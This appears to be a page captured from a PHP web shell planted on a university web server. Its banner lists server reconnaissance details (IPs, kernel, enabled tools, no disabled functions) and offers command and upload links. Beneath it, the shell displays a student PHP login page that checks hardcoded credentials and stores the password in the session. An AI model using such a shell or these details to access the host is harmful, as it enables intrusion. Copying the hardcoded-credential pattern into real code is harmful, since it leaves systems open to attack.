Server IP : 172.16.15.8 / Your IP : 18.118.137.96 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/inieves/public_html/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<!-- random1.php --> <?php session_start(); $name = $_POST['login']; $pass = $_POST['pass']; $_SESSION['usr'] = $name; $_SESSION['psw'] = $pass; if($name != "login" || $pass != "password") print "ACCESS DENIED!"; else { ?> <HTML> <BODY> <CENTER> <H2> Welcome To The "easy-LITE" Application Page </H2> <HR> </CENTER> <FORM action=random2.php method=post> <P> <LEFT> Enter your first name: <INPUT type=text name=first> <P> Enter your last name: <INPUT type=text name=last> <P> What is your gender? <SELECT name=gender> <OPTION>Male</OPTION> <OPTION>Female</OPTION> </SELECT> <P> Do you have a 4 year degree? <INPUT type=radio name=q1 value=QA checked> Yes <INPUT type=radio name=q1 value=QB> No <P> If you do not have a 4 year degree, will you have one within the next 6 months? <INPUT type=radio name=q2 value=QA checked> Yes <INPUT type=radio name=q2 value=QB> No <P> Enter your previous salary: <INPUT type=text name=salary> <P> If you have any more amplifying information, please enter it below. <P> <textarea rows=max_rows cols=max_cols name=pass_name> Default text </textarea> <P> <INPUT type=submit value=Submit> <INPUT type=reset value=Reset> <HR> <?php } date_default_timezone_set("America/New_York"); $today = date("h:i:s a M m/d/Y"); print "Updated as of $today"; ?> <P> <HR> </FORM> </BODY> </HTML>